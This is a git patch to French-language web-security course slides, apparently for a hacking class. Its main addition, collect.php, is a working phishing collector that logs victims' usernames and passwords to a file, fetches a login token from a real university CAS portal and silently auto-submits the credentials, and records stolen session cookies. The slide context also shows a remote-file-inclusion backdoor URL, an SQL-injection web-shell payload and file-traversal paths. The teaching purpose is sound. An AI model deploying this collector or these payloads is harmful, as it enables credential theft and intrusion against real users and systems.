From 696f9908e42f175bb092dc31ddd21b4dd9b594ef Mon Sep 17 00:00:00 2001
From: Vincent Mazenod <vmazenod@gmail.com>
Date: Sat, 8 Jul 2023 23:42:13 +0200
Subject: [PATCH] collect

---
 content/slides/1337/exploits/collect.php | 70 ++++++++++++++++++++++++
 content/slides/1337/md/csrf.md           | 10 ++--
 content/slides/1337/md/fi.md             | 26 ++++-----
 content/slides/1337/md/sqli.md           |  4 +-
 content/slides/1337/md/xss.md            |  1 +
 5 files changed, 92 insertions(+), 19 deletions(-)

diff --git a/content/slides/1337/exploits/collect.php b/content/slides/1337/exploits/collect.php
index e69de29..8028a15 100644
--- a/content/slides/1337/exploits/collect.php
+++ b/content/slides/1337/exploits/collect.php
@@ -0,0 +1,70 @@
+<?php
+
+
+if (
+    array_key_exists('username', $_GET)
+    && array_key_exists('password', $_GET)
+) {
+
+    // log credentials
+    $f = fopen("./credentials.txt", "a");
+    fwrite($f, $_GET['username'].":".$_GET['password']."\n");
+    fclose($f);
+    
+    // get CSRF https://ent.uca.fr/cas/login
+    $url = "https://ent.uca.fr/cas/login";
+    $curl = curl_init($url);
+    curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
+    $output = curl_exec($curl);
+    curl_close($curl);  
+    preg_match(
+        '/name="execution" value="(.+)"/U',
+        $output,
+        $matches
+    );
+    $token = $matches[1];
+
+    ?>
+    
+    <script>
+    window.onload = function(event) {
+        var frm = document.getElementById("fm1");
+        frm.submit();
+    };
+    </script>
+
+    <styles>
+    #fm1 {
+        display: none;
+    }
+    </styles>
+
+    <form method="post" id="fm1" action="https://ent.uca.fr/cas/login">
+        <input type="text" name="username" value="<?php echo $_GET['username'];?>">
+        <input type="password" name="password" value="<?php echo $_GET['password'];?>">
+        <input type="hidden" name="execution" value="<?php echo $token;?>">
+        <input type="hidden" name="_eventId" value="submit" class="">
+        <input type="hidden" name="geolocation"></section>
+        <button name="submitBtn" type="submit" value="Se connecter">
+            <span class="">Se connecter</span>
+        </button>
+    </form>
+        
+<?php
+}
+
+
+if (array_key_exists('cookie', $_COOKIE))
+{
+    // log credentials
+    $f = fopen("./sessions.txt", "a");
+    fwrite($f, $_COOKIE['cookie']."\n");
+    fclose($f);
+}
+
+
+if (array_key_exists('rm', $_GET))
+{
+    unlink("./credentials.txt");
+}
+
diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md
index 3977744..ea8df3f 100644
--- a/content/slides/1337/md/csrf.md
+++ b/content/slides/1337/md/csrf.md
@@ -223,7 +223,7 @@ xhr2.send();
 <i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html)
 
 
-## <i class="fa fa-medkit"></i> Se préserver
+### <i class="fa fa-medkit"></i> CSRF / Se préserver
 
 * **Fausses Bonnes Idées**
   * utiliser la méthode POST
@@ -232,7 +232,7 @@ xhr2.send();
 * Double Submit Pattern
 
 
-## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
+### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
 
 * adapté à une utilisation massive de JS
 * basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
@@ -247,7 +247,7 @@ Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
 ```
 
 
-## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
+### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
 
 * JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
 
@@ -255,4 +255,6 @@ Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
 X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
 ```
 
-* Le serveur vérifie la validité du token
\ No newline at end of file
+* Le serveur vérifie la validité du token
+
+* [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
\ No newline at end of file
diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md
index 7ef66e6..6aa87c9 100644
--- a/content/slides/1337/md/fi.md
+++ b/content/slides/1337/md/fi.md
@@ -7,13 +7,7 @@
 <small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
 
 
-### Local File Inclusion / Remote File Inclusion
-
-<small>nom d'utilisateur uca pour personnaliser les liens des slides:</small>
-<input type="text" id="username" value="" style="width: 80%; font-size: 25px" />
-
-
-##  File Inclusion
+### <i class="fas fa-cogs"></i> File Inclusion
 
 * paramètres HTTP non filtrés
 
@@ -29,7 +23,13 @@ include($_REQUEST['filename']);
 * concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
 
 
-##  LFI / security low
+### <i class="fas fa-ice-cream"></i> File Inclusion / types
+
+* Local File inclusion
+* Remote File inclusion
+
+
+### <i class="fa-solid fa-bomb"></i> LFI / low
 
 * souvent appelé **Directory traversal**
 * permet d'accéder à des fichiers sensibles
@@ -45,7 +45,7 @@ Note:
 - anciennement safe_mode
 
 
-## LFI / quelques pistes
+### <i class="fa-solid fa-bomb"></i> LFI / low
 
 * paths absolus / paths relatifs (../.. ou ..\\..)
 * linux `/etc/passwd`, `../../../../../etc/hosts` 
@@ -55,7 +55,7 @@ Note:
       * invalider par (include|require)&lowbar;once
 
 
-## RFI
+### <i class="fa-solid fa-bomb"></i> RFI
 
 * inclusion de code arbitraire
   * Backdoor ou Remote shell
@@ -71,7 +71,7 @@ allow_url_include=On  # just for test purpose
 <i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option!
 
 
-##  RFI / security low
+### <i class="fa-solid fa-bomb"></i> RFI / low
 
 * <small>[/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small>
   * <i class="fas fa-poop"></i> drôle mais pas très utile
@@ -81,7 +81,7 @@ allow_url_include=On  # just for test purpose
     * <i class="fa-solid fa-poo"></i> un peu frustrant
 
 
-## Backdoor
+### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor
 
 * Basiquement permet d'exécuter du code et / ou des commandes systèmes
   * version artisanale
@@ -93,7 +93,7 @@ allow_url_include=On  # just for test purpose
     * [r57shell.net](http://www.r57shell.net/)
 
 
-## RFI / backdoor
+### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor
 
 * <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small> 
 
diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md
index 2a5978c..3ec2ce5 100644
--- a/content/slides/1337/md/sqli.md
+++ b/content/slides/1337/md/sqli.md
@@ -363,9 +363,9 @@ User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>"
 écrit le fichier shell.php dans le système de fichiers
 
 
-## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/)
+### <i class="fa-solid fa-screwdriver-wrench"></i> SQLi / Low / SQLmap
 
-* Fait tous le boulot à votre palce
+* [SQLmap](http://sqlmap.org/) Fait tous le boulot à votre palce
   * en ligne de commmande
     * affiche des résultats propres
     * abstrait
diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md
index 259664c..6e4be5f 100644
--- a/content/slides/1337/md/xss.md
+++ b/content/slides/1337/md/xss.md
@@ -283,6 +283,7 @@ default: <svg onload="alert('pipo');" /">
         * être le plus silencieux possible dans la navigation
 
 
+
 ### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
 
 * page malicieuse
-- 
GitLab